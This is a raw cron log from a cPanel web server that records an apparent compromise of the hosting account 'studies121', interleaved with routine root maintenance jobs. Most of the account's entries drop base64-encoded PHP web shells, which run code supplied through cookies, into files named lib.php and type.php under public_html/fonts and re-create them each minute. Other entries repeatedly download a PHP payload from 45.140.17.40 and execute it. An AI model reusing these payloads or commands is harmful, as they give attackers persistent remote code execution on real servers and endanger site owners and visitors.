Sep 10 01:45:02 ip-184-168-122-23 CROND[12905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:45:02 ip-184-168-122-23 CROND[12909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:45:02 ip-184-168-122-23 CROND[12907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:45:02 ip-184-168-122-23 CROND[12906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:46:01 ip-184-168-122-23 CROND[12993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:46:01 ip-184-168-122-23 CROND[12995]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:46:01 ip-184-168-122-23 CROND[12996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:46:01 ip-184-168-122-23 CROND[12999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:46:01 ip-184-168-122-23 CROND[12997]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 01:46:01 ip-184-168-122-23 CROND[12998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:46:01 ip-184-168-122-23 CROND[13000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:47:01 ip-184-168-122-23 CROND[13103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:47:01 ip-184-168-122-23 CROND[13104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:47:01 ip-184-168-122-23 CROND[13105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:47:01 ip-184-168-122-23 CROND[13106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:48:01 ip-184-168-122-23 CROND[13185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:48:01 ip-184-168-122-23 CROND[13186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:48:01 ip-184-168-122-23 CROND[13188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:48:01 ip-184-168-122-23 CROND[13190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:48:01 ip-184-168-122-23 CROND[13191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:49:01 ip-184-168-122-23 CROND[13269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:49:01 ip-184-168-122-23 CROND[13270]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 01:49:01 ip-184-168-122-23 CROND[13271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:49:01 ip-184-168-122-23 CROND[13272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:49:01 ip-184-168-122-23 CROND[13274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:50:01 ip-184-168-122-23 CROND[13469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:50:01 ip-184-168-122-23 CROND[13468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:50:01 ip-184-168-122-23 CROND[13475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:50:01 ip-184-168-122-23 CROND[13477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:50:01 ip-184-168-122-23 CROND[13478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:50:01 ip-184-168-122-23 CROND[13482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:50:01 ip-184-168-122-23 CROND[13485]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:50:01 ip-184-168-122-23 CROND[13484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:50:01 ip-184-168-122-23 CROND[13486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:51:02 ip-184-168-122-23 CROND[13591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:51:02 ip-184-168-122-23 CROND[13592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:51:02 ip-184-168-122-23 CROND[13593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:51:02 ip-184-168-122-23 CROND[13595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:52:01 ip-184-168-122-23 CROND[13673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:52:01 ip-184-168-122-23 CROND[13675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:52:01 ip-184-168-122-23 CROND[13676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:52:01 ip-184-168-122-23 CROND[13680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:52:01 ip-184-168-122-23 CROND[13681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:53:01 ip-184-168-122-23 CROND[13759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:53:01 ip-184-168-122-23 CROND[13758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:53:01 ip-184-168-122-23 CROND[13761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:53:01 ip-184-168-122-23 CROND[13760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:54:01 ip-184-168-122-23 CROND[13848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:54:01 ip-184-168-122-23 CROND[13852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:54:01 ip-184-168-122-23 CROND[13850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:54:01 ip-184-168-122-23 CROND[13853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:54:01 ip-184-168-122-23 CROND[13851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:55:01 ip-184-168-122-23 CROND[13941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:55:01 ip-184-168-122-23 CROND[13945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:55:01 ip-184-168-122-23 CROND[13943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:55:01 ip-184-168-122-23 CROND[13944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:55:01 ip-184-168-122-23 CROND[13950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:55:01 ip-184-168-122-23 CROND[13948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:56:01 ip-184-168-122-23 CROND[14028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:56:01 ip-184-168-122-23 CROND[14031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:56:01 ip-184-168-122-23 CROND[14030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:56:01 ip-184-168-122-23 CROND[14029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:56:01 ip-184-168-122-23 CROND[14032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:57:01 ip-184-168-122-23 CROND[14123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:57:01 ip-184-168-122-23 CROND[14126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:57:01 ip-184-168-122-23 CROND[14125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
